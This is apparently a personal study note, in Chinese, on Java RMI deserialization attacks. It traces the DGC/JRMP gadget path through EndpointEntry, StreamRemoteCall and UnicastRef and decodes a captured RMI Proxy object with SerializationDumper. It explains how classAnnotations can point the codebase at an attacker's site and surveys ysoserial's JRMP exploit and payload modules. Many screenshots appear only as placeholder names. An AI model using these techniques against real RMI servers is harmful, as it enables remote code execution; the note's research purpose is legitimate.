我们无法在一个已经跑起来的程序中来改变代码逻辑 只能是通过反序列化的方式来实现

image-20240520171928009

所以:

以这里做为入口

1.想办法创建一个EndpointEntry类 并生成一个DGC

2.让DGC来发起一个客户端请求

先来第一步:

从EndpointEntry往上找 直到找到一个反序列化的点

find usages

image-20240520172252101

image-20240520172311945

找到一个lookup 没用

image-20240520172335196

再往上找

是一个do - while 没用

image-20240520172523613

再往上找

找到两个地方

image-20240520172606829

有一个是ConnectionInputStream:

image-20240520172637021

另一个点是LiveRef:

一个else里面

image-20240520172856629

如果这个输入流不是ConnectionInputStream才会调用

但是整个输入流都是ConnectionInputStream 所以根本调用不了

所以要从ConnectionInputStream往上找

找到在StreamRemoteCall->releaseStream里面

image-20240520173805571

StreamRemoteCall不觉得熟悉?

这不是jrmp的那个攻击点吗

而releaseStream会创建一个DGC服务

releaseStream在哪儿调的呢

是在RegistryImpl_Skel里面

image-20240520174216954

到这里流程就通了

Skel不是在服务端吗

那不就是说明我们在服务端找到一个点 能让他创建一个DGC服务

那下一步我们让这个DGC服务发起一个请求就行

注意在registryRefs中有一个if 这是阻挡我们的地方

image-20240520174750204

当他是空的时候就会调用

所以接下来我们再动态调试找怎么才能让他不是空

最后发现:
image-20240520175106431

incommingRefTable中的savaRef方法

再调试:

找到刚刚的read方法

image-20240520175239971

read函数又是再哪儿调的呢:

image-20240520175400558

readExternal

这个有点像原生类 也就是说在反序列化的时候有这个类也会调用

由此:

1.我们先序列化一个UnicastRef对象

2.在里面保存一个ref

image-20240520175856620

在UnicastRef的反序列化流程里面他会调用readExternal

image-20240520180003366

然后就是saveRef

image-20240520180056890

然后就会把incommingRefTable赋值 这样就不为空了

此时内存里面的那个表就已经有值了

接下来就正常走反序列化流程

到releaseInputStream

image-20240520180540799

接着就会往下走

image-20240520180609270

这个表就不为空了

这样我们的攻击就会在正常的反序列化中进行

到这里:

image-20240520180731618

但这里我们只做了赋值还没有进行请求

注意后面的NewThreadAction

这是在调自己里面的线程

这个线程是什么呢

image-20240520181039580

它其实最后是调了一个makeDirtyCall

image-20240520181134615

它其实就是调了DGC

image-20240520181214323

java.lang.reflect.Proxy.class

这个很少在用

还记得我前面用的那个低于7u21、6u45的利用吗

那个是用codebase来加载远程类,在RMI服务端执行任意代码

这里我们从原理上阐述一下

我们用wireshark来抓一下那个包

当然也有2个TCP连接

  1. 本机与RMI Registry的通信(在我的数据包中是1099端口)

  2. 本机与RMI Server的通信(在我的数据包中是64000端口)

我们用 tcp.stream eq 0 来筛选出本机与RMI Registry的数据流:

image-20240520201839538

可见,在与RMI Registry通信的时候Wireshark识别出了协议类型。我们选择其中序号是8的数据包,然

后复制Wireshark识别出的 Java Serialization 数据段:

image-20240520201940308

这段数据由0xACED开头,这是一段java序列化数据

我们可以使用SerializationDumper对Java序列化数据进行分析:

image-20240520202044280

SerializationDumper输出了很多预定义常量,像 TC_BLOCKDATA 这种,它究竟表示什么意思呢?此时

我们还得借助Java序列化的协议文档

这篇文档里用了一种类似BNF(巴科斯范式)的形式描述了序列化数据的语法,比如我们这里的这段简单的数据,其涉及到如下语法规则:

stream:
magic version contents

contents:
content
contents content

content:
object
blockdata

object:
newObject
newClass
newArray
newString
newEnum
newClassDesc
prevObject
nullReference
exception
TC_RESET

blockdata:
blockdatashort
blockdatalong

blockdatashort:
TC_BLOCKDATA (unsigned byte)<size> (byte)[size]

newString:
TC_STRING newHandle (utf)
TC_LONGSTRING newHandle (long-utf)

其中 TC_BLOCKDATA 这部分对应的是 contents -> content -> blockdata -> blockdatashort ,TC_STRING 这部分对应的是 contents -> content -> object-> newString 。都可以在文档里找到完整的语法定义。

这一整个序列化对象,其实描述的就是一个字符串,其值是 refObj 。意思是获取远程的 refObj 对象。

接着我们在序号为10的数据包中获取到了这个对象:

STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
TC_BLOCKDATA - 0x77
Length - 15 - 0x0f
Contents - 0x01a4462ec50000016d8d8d63578008
TC_OBJECT - 0x73
TC_PROXYCLASSDESC - 0x7d
newHandle 0x00 7e 00 00
Interface count - 2 - 0x00 00 00 02
proxyInterfaceNames
0:
Length - 15 - 0x00 0f
Value - java.rmi.Remote - 0x6a6176612e726d692e52656d6f7465
1:
Length - 5 - 0x00 05
Value - ICalc - 0x4943616c63
classAnnotations
TC_NULL - 0x70
TC_ENDBLOCKDATA - 0x78
superClassDesc
TC_CLASSDESC - 0x72
className
Length - 23 - 0x00 17
Value - java.lang.reflect.Proxy -
0x6a6176612e6c616e672e7265666c6563742e50726f7879
serialVersionUID - 0xe1 27 da 20 cc 10 43 cb
newHandle 0x00 7e 00 01
classDescFlags - 0x02 - SC_SERIALIZABLE
fieldCount - 1 - 0x00 01
Fields
0:
Object - L - 0x4c
fieldName
Length - 1 - 0x00 01
Value - h - 0x68
className1
TC_STRING - 0x74
newHandle 0x00 7e 00 02
Length - 37 - 0x00 25
Value - Ljava/lang/reflect/InvocationHandler; -
0x4c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723
b
classAnnotations
TC_NULL - 0x70
TC_ENDBLOCKDATA - 0x78
superClassDesc
TC_NULL - 0x70
newHandle 0x00 7e 00 03
classdata
java.lang.reflect.Proxy
values
h
(object)
TC_OBJECT - 0x73
TC_CLASSDESC - 0x72
className
Length - 45 - 0x00 2d
Value - java.rmi.server.RemoteObjectInvocationHandler -
0x6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696
f6e48616e646c6572
serialVersionUID - 0x00 00 00 00 00 00 00 02
newHandle 0x00 7e 00 04
classDescFlags - 0x02 - SC_SERIALIZABLE
fieldCount - 0 - 0x00 00
classAnnotations
TC_NULL - 0x70
TC_ENDBLOCKDATA - 0x78
superClassDesc
TC_CLASSDESC - 0x72
className
Length - 28 - 0x00 1c
Value - java.rmi.server.RemoteObject -
0x6a6176612e726d692e7365727665722e52656d6f74654f626a656374
serialVersionUID - 0xd3 61 b4 91 0c 61 33 1e
newHandle 0x00 7e 00 05
classDescFlags - 0x03 - SC_WRITE_METHOD |
SC_SERIALIZABLE
fieldCount - 0 - 0x00 00
classAnnotations
TC_NULL - 0x70
TC_ENDBLOCKDATA - 0x78
superClassDesc
TC_NULL - 0x70
newHandle 0x00 7e 00 06
classdata
java.rmi.server.RemoteObject
values
objectAnnotation
TC_BLOCKDATA - 0x77
Length - 55 - 0x37
Contents -
0x000a556e6963617374526566000e3134302e3233382e33342e3231360000fa00276c05080
63e8d45a4462ec50000016d8d8d6357800101
TC_ENDBLOCKDATA - 0x78
java.rmi.server.RemoteObjectInvocationHandler
values

这是一个 java.lang.reflect.Proxy 对象,其中有一段数据储存在 objectAnnotation 中:0x000a556e6963617374526566000e3134302e3233382e33342e3231360000fa00276c0508063e8d45a4462ec50000016d8d8d6357800101 ,记录了RMI Server的地址和端口。

在拿到RMI Server的地址和端口后,本机就会去连接并正式开始调用远程方法。我们再用 tcp.streameq 1 筛选出本机与RMI Server的数据流

image-20240520202603143

可见,wireshark没有再识别出RMI的协议。我们选择序号为19的数据包,其内容是 50 ac ed 开头,50是指 RMI Call , ac ed 当然是Java序列化数据。

我们使用SerializationDumper查看这段序列化数据:

image-20240520202731991

可见,我们的 codebase 是通过 [Ljava.rmi.server.ObjID; 的 classAnnotations 传递的。

所以,即使我们没有RMI的客户端,只需要修改 classAnnotations 的值,就能控制codebase,使其指向攻击者的恶意网站。

工具:

工具

image-20240520204117334

exploit里是直接可以攻击的

payloads里是需要一些工具来的

exploit

有三个:
image-20240520204413998

RMIRegistryExploit.java:

低版本的直接攻击注册中心的

JRMPClient.java:

低版本攻击DGC服务

JRMPListener.java:

服务端发客户端请求 攻击普通的RMI也行

payloads

里面有两个:

image-20240520205039866

JRMPListener.java:
用的很少

在一个已有反序列化的点里,传进去后会暴露出一个RMI的接口出来

也就是将一个普通的反序列化点转换成一个RMI的反序列化点 相当于二次反序列化 可能会绕过一些过滤

JRMPClient.java:

这个就很常见了

是整个rmi分析里面最重要的一个链子

前面的都是在针对rmi来打的 也就是针对rmi服务

但如果没看rmi服务呢 可以通过上面那个给他开一个

也可以是用这个 不用开rmi也能打 利用条件还比上一个宽 也相当于一个二次反序列化(可以打非rmi的利用链)